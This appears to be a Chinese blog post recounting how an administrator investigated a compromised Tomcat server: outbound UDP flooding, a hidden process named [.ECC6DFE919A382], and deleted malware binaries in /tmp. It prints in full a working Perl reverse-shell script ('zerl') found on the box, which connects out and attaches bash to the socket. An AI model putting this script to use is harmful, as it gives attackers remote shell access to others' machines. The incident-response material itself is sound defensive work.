一次tomcat服務器被掛馬的解決經歷

時間 2019-11-08

原文原文鏈接

就在今天，我也遇到了傳說中的服務器掛馬事件，折騰了近一天最終解決了，遺憾的是未能抓到攻擊途徑。敘述一下這件事情的通過。html

早上收到了一封來自於阿里雲的郵件java

尊敬的用戶：
經檢測您的雲服務器（擦掉ip）存在惡意掃描，請您務必在12小時內處理，逾期未處理將禁止您服務器2二、380、44三、131四、330六、343三、338九、8080端口對外發包，並關停雲服務器。關停後僅有一次機會自助解封，請您務必重視。感謝您的配合。 
請您儘快執行如下操做
一、病毒木馬清理
請您使用殺毒軟件進行病毒查殺，清理系統盤以及數據盤的木馬或異常程序

二、開啓雲盾服務並實施安全防護方案
請您儘快開啓雲盾服務，開啓步驟詳見：http://help.aliyun.com/view/11108300_13444169.html
建議您實施安全防護方案，參考：http://help.aliyun.com/manual?spm=0.0.0.0.5TfSs4&helpId=2078

大體掃了一下，用了ps aux, netstat -anltp, htop這些命令看了一下，並未發現什麼異常。因而給阿里雲提ticket，問他們從哪些記錄判斷個人服務器有惡意掃描操做的。web

他們給了一個日誌，日誌的記錄大體是這樣的：shell

222.216.190.83:80
222.216.190.83:80
222.216.190.83:80
......

發現有大量的向這個ip的80端口請求的記錄。因而我上雲盾看了下，發現服務器確實間歇性的高流量，並且是流出流量，很規律的波浪線，波峯都在3M左右，基本達到了服務器的帶寬，感受確實有問題了，靜下心來再查。搞了將近一下午的時間，最終終於發現問題了。apache

找問題的曲折就不談了（實際上是沒有處理這種問題的經驗，瞎折騰，瞎忙活了半天，各類google，各類ls，各類ps，各類....），只寫出最終發現問題的通過。bootstrap

既然是流量出現異常，那麼就檢查流量把，因而nload, iftop這兩條命令是最先用的，輪流上，可是發現流量一直很低，都準備放棄的時候，忽然發現iftop顯示TX的速率達到了2M，看來確實有問題！tomcat

事不宜遲，馬上netstat -anltp ，無異常～安全

甚至連個80端口的tcp請求都沒有（這裏就是我一直被誤導的地方了，下意識覺得80端口是在請求http，應該是tcp協議，時間浪費在這裏了。）可是神器iptraf讓我發現了這個問題。bash

iptraf看一下流量監控，個人注意力其實一直集中在上面的tcp請求，下面的udp各類紅字天然被忽略了。一直盯着上面的tcp在看，除了本身的ssh流量排第一以外，別的都沒啥流量，沒有異常，iftop依然顯示當前的TX達到了2M。服務器

這時候猛然注意力集中在了下面，由於下面不停的紅色跳動數字引發的個人注意，緣由找到了！我發現不停的有udp請求在跳，並且其中就有80端口和3137端口，就這兩個端口的數據一直在跳，原來如此！就說怎麼查不到，原來是udp在請求80端口！

既然是udp，因而netstat -anup，還好udp很少，一眼發現了問題！

netstat -anup
激活Internet鏈接 (服務器和已創建鏈接的)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
udp        0      0 10.160.28.187:123       0.0.0.0:*                           1759/ntpd       
udp        0      0 127.0.0.1:123           0.0.0.0:*                           1759/ntpd       
udp        0      0 0.0.0.0:123             0.0.0.0:*                           1759/ntpd       
udp        0 229632 0.0.0.0:57606           0.0.0.0:*                           22607/          
udp        0      0 0.0.0.0:47508           0.0.0.0:*                           26384/java      
udp6       0      0 :::123                  :::*                                1759/ntpd

一個沒有Program name的進程赫然出現了，可疑的不能再可疑了！話很少說，立馬ps aux | grep 22607

ps aux | grep 22607
root     16315  0.0  0.0   9816   928 pts/3    S+   18:41   0:00 grep --color=auto 22607
tomcat7  22607  0.1  0.0 349372   888 ?        Ssl  Jul16   3:29 [.ECC6DFE919A382]

pwdx 22607
22607: /var/lib/tomcat7

這樣一來明瞭了，這個很是可疑的進程已經浮現了。一看用戶名，tomcat7，覺得是tomcat下部署的網站被掛馬了，立馬service tomcat7 stop。不起做用，進程還在，愣了一下，猛然想起來這個應該是以tomcat7用戶身份運行的程序，而不是tomcat服務啓動的進程。

kill 22067, iptraf消停了，udp的紅字再也不一直蹦個不停了。

可是這是一個不完美的解決過程。首先不明白*** [.ECC6DFE919A382]***這個究竟是什麼，怎樣產生的，表明什麼意思，爲何是中括號標註的進程，而不是通常看到的具體的進程名。

其次，最遺憾的是不知道掛馬者的掛馬途徑，不知道這個進程究竟是什麼，到底作了什麼事情。遺憾啊

後記：

又發現了好玩的東西，這個tomcat7用戶竟然還啓動了其餘可疑的[]進程

ps aux | grep tomcat
tomcat7  20092  0.0  0.0 349264   612 ?        Ssl  05:48   0:20 [freeBSD]

後記2：昨天殺掉的進程，今天再次出現了

# ps aux | grep tomcat
tomcat7  16503  1.0 40.5 1552124 624712 ?      Sl   Jul17   8:57 /usr/lib/jvm/java-7-openjdk-amd64/bin/java -Djava.util.logging.config.file=/var/lib/tomcat7/conf/logging.properties -Djava.awt.headless=true -Xmx128m -XX:+UseConcMarkSweepGC -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Xms256m -Xmx512m -XX:PermSize=128m -XX:MaxPermSize=128m -XX:NewRatio=1 -Djava.endorsed.dirs=/usr/share/tomcat7/endorsed -classpath /usr/share/tomcat7/bin/bootstrap.jar:/usr/share/tomcat7/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat7 -Dcatalina.home=/usr/share/tomcat7 -Djava.io.tmpdir=/tmp/tomcat7-tomcat7-tmp org.apache.catalina.startup.Bootstrap start
tomcat7  20735  0.0  0.1   2684  2388 ?        S    07:55   0:00 /tmp/freeBSD /tmp/freeBSD 1
tomcat7  20739  0.0  0.0 349264   716 ?        Ssl  07:55   0:02 [.ECC6DFE919A382]
root     24576  0.0  0.0   9816   928 pts/2    S+   09:12   0:00 grep --color=auto tomcat

而/tmp下是沒有freeBSD這個程序的，應該是啓動後被刪掉了。

ll /tmp
總用量 1240
drwxrwxrwt  8 root    root       4096  7月 18 09:17 ./
drwxr-xr-x 23 root    root       4096  7月 10 17:28 ../
-rw-r--r--  1 tomcat7 tomcat7       4  7月 12 01:36 12.txt
-rwxr-xr-x  1 tomcat7 tomcat7 1128784  7月 18 07:55 .ECC6DFE919A382BADRR1A8CDFC9FB43AA0*
drwxr-xr-x  2 tomcat7 tomcat7    4096  7月 17 18:43 hsperfdata_tomcat7/
drwxr-xr-x  2 tomcat7 root       4096  7月 17 18:44 tomcat7-tomcat7-tmp/
-rw-r--r--  1 tomcat7 tomcat7     657  7月  6 05:41 zerl

tomcat7用戶建立了一堆可疑的玩意，其中zerl是一個perl腳本

#!/usr/bin/perl -w

use strict; 
use Socket; 
use IO::Handle; 

if($#ARGV+1 != 2){ 
print "$#ARGV $0 Remote_IP Remote_Port \n"; 
exit 1; 
} 

my $remote_ip = $ARGV[0]; 
my $remote_port = $ARGV[1]; 

my $proto = getprotobyname("tcp"); 
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip)); 

my $shell = '/bin/bash -i'; 

socket(SOCK, AF_INET, SOCK_STREAM, $proto); 

STDOUT->autoflush(1); 
SOCK->autoflush(1); 

connect(SOCK,$pack_addr) or die "can not connect:$!"; 

open STDIN, "<&SOCK"; 
open STDOUT, ">&SOCK"; 
open STDERR, ">&SOCK"; 

print "Enjoy the shell.\n"; 

system($shell); 
close SOCK; 

exit 0;

ll hsperfdata_tomcat7/
總用量 40
drwxr-xr-x 2 tomcat7 tomcat7  4096  7月 17 18:43 ./
drwxrwxrwt 8 root    root     4096  7月 18 09:17 ../
-rw------- 1 tomcat7 tomcat7 32768  7月 18 09:21 16503

cat 12.txt 
1233

凌亂了，徹底不知道從哪裏出了問題，這個程序到底在作什麼？

此時想到/tmp/freeBSD，這個文件確定有玄機，可是被刪了，嘗試lsof找回。

# lsof -p 20735
COMMAND   PID    USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME
freeBSD 20735 tomcat7  cwd    DIR  202,1     4096  664470 /var/lib/tomcat7
freeBSD 20735 tomcat7  rtd    DIR  202,1     4096       2 /
freeBSD 20735 tomcat7  txt    REG  202,1  1128784 1048681 /tmp/freeBSD (deleted)
freeBSD 20735 tomcat7    0r   CHR    1,3      0t0    4848 /dev/null
freeBSD 20735 tomcat7    1w   CHR    1,3      0t0    4848 /dev/null
freeBSD 20735 tomcat7    2w   CHR    1,3      0t0    4848 /dev/null

ll /proc/20735/fd
總用量 0
dr-x------ 2 tomcat7 tomcat7  0  7月 18 07:56 ./
dr-xr-xr-x 8 tomcat7 tomcat7  0  7月 18 07:55 ../
lr-x------ 1 tomcat7 tomcat7 64  7月 18 07:56 0 -> /dev/null
l-wx------ 1 tomcat7 tomcat7 64  7月 18 07:56 1 -> /dev/null
l-wx------ 1 tomcat7 tomcat7 64  7月 18 07:56 2 -> /dev/null

日了，根本沒有文件描述符佔用，這掛馬者是有多高端啊，根本不給留機會啊

這個就是那個現形的木馬文件：

# lsof -p 20739
COMMAND     PID    USER   FD   TYPE   DEVICE SIZE/OFF    NODE NAME
.ECC6DFE9 20739 tomcat7  cwd    DIR    202,1     4096  664470 /var/lib/tomcat7
.ECC6DFE9 20739 tomcat7  rtd    DIR    202,1     4096       2 /
.ECC6DFE9 20739 tomcat7  txt    REG    202,1  1415201 1048671 /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0 (deleted)
.ECC6DFE9 20739 tomcat7  mem    REG    202,1  3337488 1185502 /usr/lib/locale/locale-archive
.ECC6DFE9 20739 tomcat7    0u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    1u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    2u   CHR      1,3      0t0    4848 /dev/null
.ECC6DFE9 20739 tomcat7    3u  IPv4 10636902      0t0     TCP xxxxxxxxxxxx:58719->119.1.109.43:10991 (ESTABLISHED)

# file .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 
.ECC6DFE919A382BADRR1A8CDFC9FB43AA0: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

root@dunham:/tmp# du -sh .ECC6DFE919A382BADRR1A8CDFC9FB43AA0 
1.1M	.ECC6DFE919A382BADRR1A8CDFC9FB43AA0

119.1.109.43這個ip指向了貴州的ip，不肯定是否是掛馬者。這個可疑進程一直在發起udp數據，鏈接幾個固定ip的8888端口，不知道發送什麼東西。